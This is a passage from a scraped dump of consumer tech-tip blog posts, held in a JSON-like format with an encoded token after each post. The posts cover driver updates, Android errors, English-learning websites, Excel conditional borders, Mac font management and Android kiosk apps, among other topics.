luck!\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2F06ipnmWYnrGlsc1mp6irpKh6sLqMn5icnZKkvKw%3D\n","link":"/post/restore-hidden-posts-on-facebook/","section":"post","tags":null,"title":"Restore hidden posts on Facebook"},{"body":"Currently, most laptops have built-in microphone support by default, so there's no need to connect additional external microphone devices. However, there are many users who encounter the problem of microphone not working. By keeping the microphone driver up to date, you can solve this problem.\nIf you are thinking about how to download the most suitable driver for your microphone, don't worry. Refer to the following TipsMake guide, which lists simple methods to update the Windows 10 microphone driver.\nMethod 1: Automatically update microphone driver through Bit Driver Updater Driver installation requires some mastery of techniques, especially for drivers. Therefore, many non-technical users will find it difficult to install the driver manually. To help those people, driver updaters have been created, but not all of them are worth a try.\nThe article uses Bit Driver Updater to update the latest driver. The biggest advantage of this driver update program is that it is a completely automatic solution. So there is no possibility of any kind of error or wrong driver installation. Moreover, Bit Driver Updater is very easy to use.\nUsers need to follow certain steps to update drivers through Bit Driver Updater as follows:\nStep 1: First of all, download Bit Driver Updater here.\nStep 2: Next, run the program and follow the on-screen instructions to install the software.\nStep 3: Then, click the Scan button from the left.\n  Step 4: Wait until the driver update program scans the PC.\nStep 5: Now, find the problematic driver and click the Update Now button located next to it.\n  In addition, you can also update other outdated drivers, along with the micro driver. To do so, the user needs to click on the Update All button. However, to get access to this special functionality, users need to use the full version of Bit Driver Updater.\nMethod 2: Download and update microphone driver using Device Manager If you don't want to seek help from driver updaters, you can use Windows' built-in function, Device Manager, to update outdated drivers. This is a much needed program specially designed to manage Windows drivers. With this program, users can uninstall, restore, disable and enable drivers as well as update them.\nHere are the steps to consider to update the microphone driver via Device Manager:\nStep 1: Press Windows + X to open Device Manager.\nStep 2: Once you are in the Device Manager window, go to the Sound, game, and Video controllers category and double click to expand.\nStep 3: Then find the problematic audio driver and right click on it.\nStep 4: Next, select the option Update Driver Software. from the quick menu access list.\n  Step 5: The next screen will show you two options, you need to select the first option i.e. Search Automatically for Updated Driver Software.\n  You have downloaded the latest Windows 10 microphone driver and installed it on your PC.\nImportant Note: If the USB headset device is not working properly, by updating the microphone driver you can also solve the problem.\nMethod 3: Download the microphone driver manually from the manufacturer's website If you have enough technical knowledge and time, you can use the official website of the manufacturer to download the microphone driver. However, keep in mind that this method takes quite a while to find the most genuine and compatible microphone driver.\nMethod 4: Use Windows Update to download and install the micro . driver   Windows Update is another way to do driver downloads. It not only updates the latest version of the Windows operating system, but also installs the latest drivers and patches, including the micro driver. However, it should be noted that this method is only suitable when the driver is officially released by the manufacturer before a certain time.\nWin 10 microphone driver download ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddnru0wMClo2aZnpl6trzDmqueZZ2esLO7z6Gmp51dmb%2BqwsSrZLChnpm8uL%2BMamc%3D\n","link":"/post/steps-to-install-and-update-microphone-driver-windows-10/","section":"post","tags":null,"title":"Steps to install and update microphone driver Windows 10"},{"body":"On Android KitKat, during the process of using, users often encounter an unexpected Android stop error and on the screen display the error 'unfortunately, the process com.google.process.gapps has stopped' and the error 'com.google.process. gapps has stopped unexpectedly '.\nHow to fix this error. Please refer to the following article of Network Administrator.\n  1. The cause of the error The cause of the error may be due to:\n- Application failed.\n- Install the update (update) inappropriate.\n- An error occurred during the update process.\n- Install the application incorrectly.\n- RAM memory error.\n- Some other causes.\n2. Delete the application cache If in the process of opening any application that on the screen of the Android device appears a popup window saying 'Unfortunately, the process com.google.process.gapps has stopped' and error 'com.google.process .gapps has stopped unexpectedly ' , the cause of the error is most likely due to the application. In this case:\nGo to Settings =\u0026gt; Apps and find the wrong application. Click the application and then click Clear cache .\nIf the error has not disappeared, you can proceed to delete the application data. This means that all your data, the gaming process, scores, conversations . are lost. Therefore you should back up the data before proceeding (if desired).\nTo delete application data, follow the same steps, go to Settings =\u0026gt; Apps and find the error application, then find and click the Clear data option.\nYou can also apply the method to uninstall the application, then proceed to download and reinstall the application.\n  Refer to the steps to clear the application cache in the video below:\n3. Wipe Cache Partition Sometimes in some cases the cache created on the system partition may be the cause of the error. If only clearing the application cache, it is not enough, and may not fix the error. Therefore, if the error persists, you must perform a wipe partition cache.\nTo perform Wipe Partition Cache, follow the steps below:\n1. Power off your Android phone.\n2. Press and hold the Power button + Volume down button at the same time.\n3. At this time the screen of Android System Recovery appears.\n4. Use the Volume Up / Down button to select to wipe the partition cache .\n5. Finally press the Power button to confirm.\n4. Delete Google Play Services data If you've applied a solution to clear specific cache and application data or uninstall the application and still don't fix the error, you can apply the solution to delete the Google Play Services data.\nFirst go to Settings =\u0026gt; Apps =\u0026gt; Google Play Services . On the App info page, find and click Manage space button .\n  \nOn the next window, click Clear all data . At this time, the screen will warn you whether you want to delete all data permanently. Click OK to continue the process.\n  5. Reset application options Go to Settings =\u0026gt; Apps =\u0026gt; All and reset the app option by clicking the 3 dots icon or the gear icon.\n6. Perform Hard Reset to Android device If you have applied all of the above solutions and still cannot fix the error, you can perform a hard reset to fix the error.\nNote that if you reset your Android device, all data stored on your device will be erased. Therefore, before performing the reset process, it is best to make a backup of the data on your Android device.\nTo reset your Android device, follow the steps below:\n1. Power off your Android device.\n2. Press and hold simultaneously the Volume Down button + Home + Power button at the same time.\n3. On the System Recovery Menu, select the Reset option using the Increase or Decrease volume buttons to navigate.\n4. Press the Power button to confirm.\nNow your Android device will restart. After the booting is complete, you will be asked to reset your Google account and some other application settings.\nAlso you can refer to the details of the steps to perform hard reser on Android device in the video below:\n7. Reinstall specific applications If the error still occurs, then you should uninstall the application that caused the error, then proceed to download and reinstall the application and check whether the error has been fixed.\nMake sure you have backed up the data before uninstalling the Android app.\n8. Update Android application To update the Android application, follow the steps below:\n1. Go to Google Play Store.\n2. Click on the 3 row line icon in the left pane of your Android phone.\n3. Click My Apps .\n4. Finally, click and update the application that caused the error on your Android device.\nRefer to some of the following articles: The difference between jailbreak, root and unlock Decode the errors encountered on Google Play and how to fix them How to transfer all data from an old Android phone to a new phone? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qpu9Zmq6hllp7FbsDHnmSpqp%2BYsrS%2FjJympp%2BfpLStsc%2Brppydo6i0orzPrGShmaNiwLW7z6mcnWWfo3qiusOrpqKcXZmyt7XCng%3D%3D\n","link":"/post/summary-of-how-to-fix-the-process-com-google-process-gapps-has-stopped-on-android-device/","section":"post","tags":null,"title":"Summary of how to fix 'The process com.google.process.gapps has stopped' on Android device"},{"body":"In the era of national integration and foreign language development is gradually becoming a common language in modern life today and is widely used globally. When you know how to use a language other than your mother tongue, you can easily access more good jobs, higher wages and create new relationships. There are many ways for you to access foreign languages ​​such as going to the center or communicating directly with foreigners. However, you are not eligible or the timetable is not allowed. So how to learn English effectively and still achieve high results. In the article below, Network Administrator will send you 15 websites to support home-language learning at home, which the Network Administrator can refer to. Let's improve our English.\n1. Duolingo Visit the website here\u0026nbsp;   This is a self-learning foreign language app that attracts up to 15 million regular users out of a total of over 38 million participants worldwide. This is the address that helps you learn many languages ​​in the world with the best rated quality today, especially there are extremely useful free programs for you to be able to do your best. If you want to learn the very basic things of a foreign language, Duolingo can help you do that well.\n2. Lingvist Visit the website here   Lingvist is an intensive language learning website within 200 hours for all levels. If you want to improve your English quickly, Lingvist is the website for you to experience. The lessons on the page are scientifically designed, easy to understand and suitable for all levels and ages.\n3. Busuu Visit the website here   Busuu is a series of courses that you can freely choose based on your learning goals. Busuu offers courses on writing skills, vocabulary enhancement, reading skills, etc. Besides the courses, there are also methods of learning English by participating in forums and speaking, interacting with other students. members from many countries around the world. The best thing is Busuu can learn many different languages, not only English\n4. Memrise Visit the website here   Different from the structure of Duolingo, Memrise lets you choose the target language (the language you want to learn) and then select the source language (the language used to teach foreign languages). It is a free application, but Memrise still has a paid section (similar to Duolingo) for those who want to learn offline or add extra functions.\n5. OWL English Purdue Visit the website here   OWL English Purdue is a website for you to experience English writing skills, practice words, and misspellings in the learning process. If you are not confident with your language and writing, you can visit this website to try it.\n6. Mightybook Visit the website here   Another lovely, mischievous color for you! 'Tons of fun for everyone' is the motto of Mighty Book. With that motto, Might Book offers a wide variety of books and stories to meet the needs of all subjects. Especially Might Book also has interesting and funny reading books. When you are tired, don't worry, open a page and read it\n7. Talkenglish Visit the website here   Like Mightybook, Talkenglish website helps learners to speak English fluently, effectively and completely free of charge.\n8. IELTS-Simon Visit the website here   This is the website of a former IELTS examiner, Mr. Simon - who has profound knowledge, simple and concise writing but effective.\nWebsite aggregates IELTS exams from many parts of the world with friendly and easy-to-see interface. Website content is updated regularly, suitable for those who want to conquer 7.0 IELTS and above.\n9. English-Test Visit the website here   Many tests, quizzes, and crossword for reviewing grammar, vocabulary, listening, reading comprehension skills, and also dividing by many different levels. After doing the lesson, check the answers and score\n10. Oxforddictionaries Visit the website here   Oxford Dictionaries is an Oxford version of the online dictionary for foreign language learners. With Oxford Dictionaries Online, access to a new language is no longer a challenge for anyone. You can look up dictionaries and learn foreign languages ​​wherever you are - on computers, mobile devices, through search engines or social networking applications.\n11. Esl-Lab Visit the website here   One of these helps you learn the most reputable vocabulary, with massive vocabulary for all levels from basic to advanced, by topic. Will definitely help you solve your worries about vocabulary offline!\n12. Trainyouraccent Visit the website here   This address will help you practice listening and understanding English with many different voices, thereby increasing your ability to communicate with more foreigners.\n13. Elllo Visit the website here   Elllo.org was created in 2003 by an English teacher in Japan; brings more than 2500 free English lessons for students in over 100 countries around the world.\nOver 13 years of development, Elllo has built a rich and diverse school subject system; thanks to the contributions of many teachers around the world. This website is especially useful for those who want to practice listening to English.\n14. Eslfast Visit the website here   This website is specifically designed for Beginners beginners and those with Intermediate Learners basic knowledge.\nIf you are a fan of American culture, you should definitely not skip the 100 American People section - 100 brief talks about 100 famous American figures. These songs are not too long, are posted with text, so you can both listen and read. These are all useful information in life, and are likely to be asked in English tests.\nThe advantage of this website is that the songs are very concise and appropriate while listening and practicing.\n15. Englishclub Visit the website here   Learn by new method and every week you will have to read - understand an article in English.\nSome small notes for you to learn English more effectively via website:\nDetermine your level: Knowing your ability at what level is the basis for you to choose the right lessons for you; avoid: the lesson is too easy - you get bored, the lesson is too difficult - you don't learn. Identify the best way to learn for you: Find yourself a website that teaches how you like learning; From there, you will be interested in accessing and learning regularly every day. Choose the topic you like: When learning is tied to your interests, things you love - you will have inspiration and motivation to learn English more, every day. Schedule a daily study schedule: Learning English needs to be done regularly and regularly, so set yourself up for an English study schedule at a certain time or date and follow that schedule. Do not forget the practical activities: Even if you study on hundreds of websites, the real communication in real life still gives you a certain learning efficiency. You need to communicate in real life! See more:\nHow to learn English on Chrome through the Rememberry utility Top 15 leading English learning apps on Android and iOS Top 10 best websites to find foreign friends learn English and exchange languages ncG1vNJzZmismaXArq3KnmWcp51kfnZ51p6ZrKGkmsBuss6rZJ%2BqlZp6orrDZpyfnpWYwarCxGacp5%2BcnsCpecuemKummaO0bq3TZp%2BopZU%3D\n","link":"/post/15-websites-for-free-and-effective-english-learning-at-home/","section":"post","tags":null,"title":"15 websites for free and effective English learning at home"},{"body":"Yesterday, Dell introduced the new Inspiron 17, a wide-screen model with a 16: 7 ratio, slim design.\n  The Dell Inspiron 17 has the lowest version priced at 500 USD. Photo: Electronista .\nIts screen is 17.3 inches wide, equipped with LED backlit technology, high resolution, 1,600 x 900 pixels. The Inspiron 17 uses the 2.4 GHz Core 2 Duo processor.\nOne of the most noticeable points in this version is that it sells for only $ 499 (9 million), with the configuration lowered to include Pentium dual-core processor, 2 GHz speed, RAM 2 GB, 160 GB hard drive, integrated Intel video chip and Windows Vista Basic operating system. The cheap version also runs only a minimum of 4 cells. Buyers can optionally upgrade to 4 GB RAM configuration, 500 GB hard drive, Blu-ray head, 6 cell battery and Mobility Radeon HD 4330 25630 graphics card. Currently users can pre-order, the device will be sold next month. Dell also added another option, the 9-cell battery, which in September will bring out a version with a 512 MB display card, working well with 1080p full HD movies.\n          ncG1vNJzZmismaXArq3KnmWcp51ksaa4y2ajmq2emLWmsIyaZGpvmaOwqXnLmqetp6Bis7C%2BjG5naQ%3D%3D\n","link":"/post/dell-launched-a-17-inch-laptop-for-500/","section":"post","tags":null,"title":"Dell launched a 17-inch laptop for $ 500"},{"body":"The parallelogram is a quadrilateral with 2 pairs of parallel opposing sides or 1 pair of parallel and equal sides . The parallelogram has 2 opposing angles, 2 diagonals intersect at the center of the figure.\nCan view parallelogram is a special case of trapezoid.\nThe formula for calculating the area and perimeter of the parallelogram is a basic knowledge that you can apply during the period of cultural study and in the future program of algorithmic study.\n  In this article, TipsMake.com will reintroduce the formula for calculating the area and effectiveogram perimeter for your study and work.\n1. Area of ​​parallelogram The parallelogram area is measured by the size of the surface of the shape, which is the plane we can see of the parallelogram.\n  The parallelogram area is calculated by the formula by the product of the bottom edge multiplied by the height.\n  Inside:\nS is the parallelogram area. a is the bottom edge of the parallelogram. h is the height, connecting from the top to the bottom of a parallelogram. 2. The parallelogram perimeter The perimeter of the parallelogram is calculated as the total length of the lines surrounding the figure, which is also the line that encircles the entire area, equal to 2 times the sum of any adjacent adjacent pairs.\n  In other words, the perimeter of the parallelogram is the total length of the four sides. The specific formula is as follows:\n  Inside:\nC is the parallelogram circumference. a and b are adjacent pairs of parallelograms. Above are the formula for calculating the common parallelogram and perimeter shape. If you have any questions or suggestions, please leave a comment below to discuss with TipsMake.com.\nHope this article is useful for you!\nncG1vNJzZmismaXArq3KnmWcp51ks7C%2BzK6jmmWkpHqkrcucrKWZpJp6tbTEZpirnZFivKd5hH5pXnBgWoWDcaRrXHFoVW2Psa3RmqOlnZyktLOtzKxkqZmilrmtscuonquZnWK9pr7IppytnaI%3D\n","link":"/post/formula-to-calculate-the-area-of-parallelograms-parallelogram-perimeter/","section":"post","tags":null,"title":"Formula to calculate the area of ​​parallelograms, parallelogram perimeter"},{"body":"Similar to Google Drive, Zoolz is a storage service that allows users to store lifetime data in the cloud, get upload speeds and download files with the server extremely fast. The hosting provider in the UK recently launched a promotion to donate 100GB of free cloud to the first 100,000 users when signing up for Zoolz hosting. If there is a need to use it, please register quickly because of limited quantity.\nHighlights of Zoolz:\nSimple interface, easy to use. Multi-platform operation, can access most devices with Internet connection. Free lifetime storage on the cloud. There is no limit on upload file types and bandwidth. Fast upload and download speed. In short, Zoolz is a reliable and perfect solution for anyone who wants to store large amounts of data using the cloud platform.\nInstructions for getting 100GB for free from Zoolz\nStep 1: Visit the link below.\nhttps://home.zoolz.com/zoolz-100-gb/\nStep 2: Enter email address -\u0026gt; click Sign me up .\n  Step 3: An activation email will be sent to your email. Open the email and click on COMPLETE SIGN UP TO REDEEM OFFER.\n  Step 4: At the new interface that appears, fill out the required information and click ACTIVATE NOW.\n  Step 5: At Zoolz storage interface, click Download Zoolz to download and install the support tool for uploading and downloading files.\n  Step 6: The installation process is complete, proceed to log in and upload the file. Select the folder or file you want to upload to the storage service and click Next.\n  Upload speed is quite fast. Please register quickly to download and experience.\n  See more:\nHow to use AnyTrans for Cloud to manage cloud services Which cloud storage service do you choose? How to search for files saved on the cloud service ncG1vNJzZmismaXArq3KnmWcp51ks7OxxGZoaWiXl3qwssWeqWaeoqS6bsbOqKOzZZFiwLa8xKtkn5mjqXqttcWeq6KllWLAtbvRmp6eZaOav7e1wp4%3D\n","link":"/post/free-100gb-offer-from-zoolz-a-super-fast-lifetime-storage-service/","section":"post","tags":null,"title":"Free 100GB offer from Zoolz, a super fast, lifetime storage service"},{"body":"As a 4-year-old GIF image searcher, with a $ 150 capital call, Giphy's mission is to spread the animation widely - also known as GIFs, short videos with effects and continuous playback in a continuous manner. loop. These images have become a means for people to express their emotions and reactions around the world when static images cannot be done.\nOriginally a GIF search engine, it now serves over 2 billion clips to more than 150 million users every day . The company recently started experimenting with a standalone application Giphy Cam, which allows creating GIFs in seconds.\nGiphy has not yet made a profit. In fact, they still do not have a specific method to generate revenue at this time. But now, GIFs become an indispensable choice for network users, companies are trying to outline ways to turn their services into a money-making tool.\nGiphy CEO and co-founder Alex Chung told Business Insider that the team thinks its 70 employees are exploring \"more than a dozen different business models\" that they may adopt. This is the effort of Giphy with the desire from a GIF image search engine to become a place Chung called \"micro entertainment\".\n  CEO and co-founder Giphy Alex Chung\n\"We are the foundation where everything is in short form, from communication to entertainment,\" Chung said in an interview at the company's new headquarters in New York. \"The future model will jump back and forth between the two.\"\nMore than a Google version for GIFs Giphy started four years ago, initially just a sideline project while Chung was a hacker at the Betaworks, New York startup nursery. Visit sites like Tumblr to find GIFs, he realized that there are very few quality GIFs on the Internet and most of them have low resolution.\n\"Like Google has indexed the Internet and only found a few sites,\" he said. \"Most of them are just trash, a lot of things have unhealthy content.\"\nSince then, he started building a team that can cut and turn all kinds of content, from TV shows to sports, to GIFs. Now, Giphy has obtained copyright from many suppliers, including HBO, NFL and CBS. Last year, they opened a production studio in Los Angeles to create their own GIFs and provide them to partners.\nThe core of Giphy is still conveying messages in the form of images when GIF images appear on many chat applications such as iMessage of Apple or Slack (chat applications with Giphy integration). Looking for the word \"hungry\" on Google, you can see the definition or reports related to hunger. But \"hungry\" is also one of the most searched keywords on Giphy.\n\"We are like a place to find a way to express emotions. No one has been looking for that,\" Chung said.\nSplit to attack After the Giphy website, com became a standalone site for events like New York Fashion or South Park, Chung and his team realized something else. People are not pointing to Giphy to find GIFs and then go. They also want to be entertained.\nNow 50% of viewers visit Giphy's website only to find and view GIFs, Chung said. And people spend over 4 million hours watching GIFs on Giphy every day. He said, \"These people come to us just to find entertainment, TV shows, celebrities\" images.\nWhat happens if Google recognizes and puts these short clips into its search page? Chung said he was not worried, \"We have been ahead for years, now we have a brand and a partner. In this area, we are Google.\"\nThe company has also made great strides in producing GIF images, saving money and time to develop a \"GIF camera\", bringing regular and stable clips. Every part of the GIlmore Girls series on Netflix is ​​included in the computer, cutting the content into thousands of GIFs. Each image redirects the page to Netflix website when users click on it.\nMake GIF images first, make money later One thing that Giphy still hasn't figured out is how to make money. After making a call for $ 72 in the round of additional funding last fall, Giphy's internal problem was taken seriously.\n\"It's definitely something to be concerned about in order of priority,\" said investor Spencer Lazer, General Catalyst's leader, who participated in Giphy's Series B, C and D rounds. David Rosenberg, in charge of Giphy's product development, said: \"Anyone with a wide network of users seeks opportunities to build businesses from there.\"\nThere are very obvious ways that Giphy can make money: add ads when searching, use donor GIFs, buy copyrights with content providers like Netflix when they agree to cut their program into a GIF image. Giphy also tested the donor's GIF image last year when they made animated GIF images for NBC's Superstore show, broadcast on a big screen at World Trade Center.\n\"Nor are we allergic to making money,\" Rosenberg said. But Giphy still has a lot of work to try to see if he will stick with which option in his development process. Last year, they bought the Imoji messaging application, then turned it into a dynamic sticker application that allows you to insert GIF images on the sticker. The software development kit in the process of finalizing will allow developers to integrate Giphy into the search engine on their applications.\nWhen Facebook announced the debut of a new camera interface and an augmented reality platform at the developer conference last month, Giphy was one of the first partners. Giphy Says application can create speech frames with GIF images with descriptions based on what you say on the phone.\nNo Giphy standalone application becomes a commercial hit. According to App Annie analysis company, Giphy Cam was not appreciated on the App Store since its debut in October 2015. But Giphy continued his tests.\n  \"We still test whether these products are interesting enough to become the main product,\" Chung said. \"And if so, we will start.\"\n\"You can't build a big business without frantically thinking about your user experience and products for years,\" Rosenberg said. With Lightspeed Ventures partner Jeremy Liew, Giphy will succeed because their names are almost synonymous with the GIF. Liew said that he invested in Giphy as well as the reason he invested in Snapchat: both created interactive and visual communication.\n\"If you become part of a popular culture, you will always know how to make money,\" he said.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjKKqZp%2BZpbW6ecGuoKWcmaO0bq3NZpymqJmnsm67xWaeop5dnrqis8Ss\n","link":"/post/how-is-giphy-building-an-empire-of-gif-images/","section":"post","tags":null,"title":"How is Giphy building an empire of GIF images?"},{"body":"When setting up a table of data in Excel, if we just need to format the table at a basic level, then adding borders to the table also ensures the creation of an Excel table. And when processing the table there will be cases where we fill in the value after calculating. Instead of having to manually add table borders, you can automatically create borders for valuable cells in Excel. To create automatic borders for valuable cells in Excel, users will use the conditional formatting feature and guided by the Network Administrator in the following article.\nHow to format borders and background colors for Excel tables Instructions to create automatic borders for cells containing Excel values Step 1:\nThe user highlights the area that needs to be facilitated when entering a value and then press Conditional Formatting\u0026gt; New Rule .\n  Step 2:\nDisplay the New Formatting Rule dialog box, click on Use a formula to determine which cells to format . Then again the New Formatting Rule dialog box, enter the formula = B13 '' and click Format to continue. B13 is the first cell in the selected area.\n  Step 3:\nIn the Format Cells dialog box, we click on the Border tab and then click on select Outline to create the border for the cell. Click OK to save the new format. If you like, you can choose the border style and color if desired.\n  Finally click OK to apply conditional formatting to the data table.\n  Now that we do the calculation, enter the values ​​in the cells at the original selected area. The result of the cell values ​​is automatically added borders with the type of border format you set.\n  See more:\nHow to use conditional formatting in Microsoft Excel 2016 How to calculate and color blank cells in Excel 4 basic steps for alternating coloring of lines in Microsoft Excel How to automatically highlight rows and columns in Excel I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmlqbyurdOimpqknK56pL7EmqueZaaWubatwaWcZpuVoblurs6rm56qo2K2r3nEsZqepA%3D%3D\n","link":"/post/how-to-automatically-create-valuable-cell-borders-in-excel/","section":"post","tags":null,"title":"How to automatically create valuable cell borders in Excel"},{"body":"There are many reasons why you want to change the name for your Android or iOS device, especially if you have many devices in your home. Maybe you've just purchased a used phone or are handing over the device to other family members. Or, perhaps you are using the 'Find My Device' feature and want to differentiate between devices.\nChanging names makes it easy to distinguish them online. Whatever reason you need to rename your phone, Android tablet, or iOS device, here's how.\nChange the iPhone or iPad name To change the name of an iPhone or iPad, go to Settings\u0026gt; General\u0026gt; About\u0026gt; Name . Then enter the name you want to give your device and press the Done button on the keyboard.\nAlso note that you can rename iPhone or iPad through iTunes. Just connect the device to the computer and launch iTunes. Then click the device icon from the toolbar at the top.\nThen click on the device's name on the left panel and enter the name you want to give it.\nChange the name of the Android phone or tablet Changing the name of an Android phone or tablet will be a bit more vague, as the way it works varies from device to device, based on the manufacturer and the version of Android the device is running on. But finding where to change the device name usually starts in Settings\u0026gt; About Phone .\nIn this example, the article uses OnePlus 6T with OxygenOS built into Android 10. Although each phone will be different, this example will give you an idea of ​​what to look out for.\nGo to Settings\u0026gt; About Phone\u0026gt; Device name and enter the name you want to use, then press OK.\nIn addition to making it easier to manage your device, changing names gives you a more personalized experience. For example there are 3 different iPads here. And changing the name for each device is more useful than using generic names like 'Brian's iPad' and 'Brian's iPad (2) '. Even if you only have one device, the default name it comes with will be very boring.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lnpa6pnnOn2Sapl2evLR5zqtkmqaUp7yqsIydnK%2Bhk5o%3D\n","link":"/post/how-to-change-the-name-of-an-ios-or-android-device/","section":"post","tags":null,"title":"How to change the name of an iOS or Android device"},{"body":"If you are not satisfied with the built-in fonts in Mac OS, why not download a new font from a free website and install it on your Mac? This is not difficult at all. If you still don't know how to do it, read our following article.\nFont management on Mac You can manually install fonts on your Mac or use Font Book.\nFont Book is included in Mac system and is the standard font management since OS X 10.3 (Panther). There are other font management tools, but Font Book has all the most basic features you need, including the ability to add, delete and manage fonts.\nWe recommend using Font Book, as it has the ability to disable fonts as well as solve duplicate fonts. But in this article, we will also show you how to add manual fonts.\nChange the default installation location in the font book In Font Book, there are two options for installing fonts. You can set the font for your own use (default User mode) or let all computer users can use them ( Computer mode).\nTo change the default font installation location, open Font Book and go to Font Book\u0026gt; Preferences , or press Cmd +, (comma). Select an option from the Default Install Location list .\n  Install new Fonts with Finder and Font Book After you have chosen where you want to install the font by default, open the Finder and navigate to where you have stored the downloaded font. Double-click the font you want to install.\nClick Install Font on the dialog box displayed.\n  The Font Book opens, and the font will be installed exclusively for you ( User ) or for all users ( Computer ), depending on what you have selected in Preferences .\nThe font preview is displayed in the right pane.\n  Install new font from right in Font Book You can also add a font from within Font Book. Suppose you have set the default location to User, but you want to add the font for all users to use without changing the default location.\nClick Computer in the left pane. Then, right-click on any font in the list on the right and select Add Fonts .\n  Find the folder containing the font you want to add, select the font and click Open .\n  Resolve duplicate fonts when installing new fonts in Font Book If you are installing fonts in Computer mode and the same font in User mode (or vice versa), a warning message tells you that many copies of a font have been installed.\nYou can solve the problem automatically, help Font Book make decisions about which font still works and which font is disabled.\nIn the case of the following example, we will solve the problem manually, so we click Resolve Manually .\n  Both the Active copy and the font's inactive copy will be displayed. See Access to know who has access to the selected copy of this font.\n  We want to make this font available to all users, so click on the Inactive copy, which Access is Computer . We want to turn this copy into Active , so we click Resolve This Duplicate .\n  The copy of the font in Computer mode is enabled and the copy in User mode will be disabled or Off .\n  Font settings have not been downloaded in Font Book Many fonts are installed on your Mac for all users, in Computer mode. In this list, you will see some fonts that are gray. These fonts are disabled (indicated by the word Off to the right of the font name) or they have not been downloaded yet.\nTo download fonts that are not available on your computer, right-click on the font and select Download Family . You can also click the Download button in the right pane.\n  Validate fonts on Mac When you install the font in Font Book, it will automatically check for errors or be authenticated. You can also authenticate the font manually after installation if an error occurs with that font.\nDisabled fonts remain on Mac but cannot be used in applications.\nSelect the font (s) you want to authenticate and do one of the following:\n\nRight click on the font and select Validate Font . Select File\u0026gt; Validate Font .   One of the three icons is displayed next to each font on the Font Validation window:\nThe green icon indicates that the font has been transferred. A yellow icon indicates a font warning. The red icon indicates an error: The font has not been successfully authenticated. To resolve triggered and disabled alerts and errors (the next section will show you how to disable fonts), select the font and click Remove Checked .\n  If you have a long list of authentic fonts, there is a way to make it easier for you to find problematic fonts. Select Warnings and Errors from the list at the top of the Font Validation window.\n  To validate the font file before installing, open Font Book and go to File\u0026gt; Validate File . Select the file and click Open . Font Validation window displays the status of the font file. Then, you can install that font, if you want, on the Validation Font window by selecting the font and clicking Install Checked . We recommend that you do not install fonts that display warnings or errors after authentication.\nDisable fonts on Mac If you decide you don't want to use a font anymore, but you don't want to delete it, you can disable that font.\nFirst, select the font (s) you want to disable. Then, do one of the following:\nRight click on the font and select Disable . Click the Disable button. Go to Edit\u0026gt; Disable . Note: System fonts cannot be disabled.\n  The disabled fonts are displayed in light gray and labeled Off . They are not deleted from your Mac but they cannot be used in applications.\n  Remove fonts on Mac If there are fonts you don't want to be on your Mac, you can delete them.\nTo remove the font in Font Book, select that font and do one of the following:\nRight click on the font and select Remove . Press the Delete key. Note : The system font cannot be deleted.\n  Click Remove on the display confirmation dialog.\n  Deleted fonts will be transferred to Trash and not in Font Book or in applications.\nRestore standard fonts on Mac If you are having trouble with any of the fonts you have installed in Font Book, you should restore the fonts that were originally installed on your Mac. This will move the fonts you have installed into a separate folder, making them no longer available for use in the application.\nOpen Font Book and go to File\u0026gt; Restore Standard Fonts .\n  Click Proceed on the confirmation confirmation dialog.\n  You are informed that the standard font has been restored. Click OK .\n  Other fonts are moved to a folder in the user's Library, ~ / Library / Fonts (Removed) or the machine's main Library directory, / Library / Fonts (Removed) , depending on where it is installed.\nTo reinstall the deleted fonts, reinstall them using one of the methods we mentioned above.\n  Install fonts manually on Mac If you want to install fonts manually, you can copy the font files into the appropriate Fonts folder on your Mac.\nTo set the font only for your use, copy the font file and go to the / Users / Username / Library / Fonts folder, replace the Username with your username. If you want the font to be available to all users, go to the / Library / Fonts folder on the Mac hard drive.\nIf you don't see the Library folder in the Finder , open the Go menu , press and hold the Alt key to make the Library available on the menu. Then select Library . You can also make the Library folder available permanently in the Finder.\n  Paste the font file into the Library folder by right-clicking and selecting Paste Item or by pressing Ctrl + V.\n  Manually installed fonts are now available in the application. For example, this is the NewStyle font used in Word documents.\n  See more:\nHow to convert Mac font (dfont) to Windows font (ttf) Instructions for installing new fonts in Mac OS X Website helps you manage all fonts installed in your computer ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXaeyrrvVnmSfp56pwG67zWakmps%3D\n","link":"/post/how-to-install-and-remove-fonts-on-mac/","section":"post","tags":null,"title":"How to install and remove fonts on Mac"},{"body":"Activating Kiosk Mode on Android phones or tablets allows you to lock your device with apps listed in whitelist (whitelist) or a single browser window.\nUsing the following applications, you can create different types of kiosks using Android phones and tablets.\n1. Website mode in the whitelist At times, you may want your device to run just one or more websites in full screen mode, making it easier for visitors to check suggestions, run searches and have a better user experience. SureFox helps you set up a kiosk in one or more websites mode. To get started, download and install the SureFox Kiosk Browser Lockdown app on your phone or tablet, then proceed with all the necessary permissions.\nSetting up the application is easy, as it comes with standard permissions.\nThe application will prompt you to touch the screen 5 times. Enter the default password to continue.\nGo to 'Allowed Websites' to add or edit the whitelisted URLs.\nEnter website details and URL. You can even hide URLs and redirect all error pages to this website.\n2. Electronic board mode and video wall To convert your phone or tablet into an electronic board or video wall, you need to lock all other applications. For this you can find video kiosk applications like the Video Kiosk application. As soon as you download and install it, the application will direct you to a 'folder', where you can add the necessary photos and videos.\nYou can add as many photos and videos as you like, from any folder on your phone or tablet. To play YouTube videos, you need to download first.\nAs soon as you click Confirm , the device will turn into a video wall. There are more options in the 'Schedule' and 'Management' sections . You can set a password to ensure no one else can change your kiosk settings.\n3. Multi-application mode Limiting your phone to only running apps is arguably helpful, if you're outdoors or need to temporarily get rid of app updates and notifications. If you are an event organizer, such an installation can help you create a great experience for your visitors.\nDownload and install Scalefusion to lock your phone or tablet into one or more apps. First, you will be asked to name the device.\nAs a device admin, you'll have to activate some permissions, including the ability to delete all data, change screens, unlock passwords, screen locks, etc.\nProvide the application with all admin rights, access access and required application notifications.\nSelect Scalefusion when the dialog box opens, then select 'Always' to set it permanently.\nIn the next screen, you can choose to run the device in single mode or select some applications.\nSelect all necessary applications that you want device users to be able to access.\nHere, Android phones are in Multi-app mode, running only a maximum of 4 applications. You can restrict users to access WiFi connections, view device specific data, access any address bar and more.\nClick the three dot menu to exit Kiosk 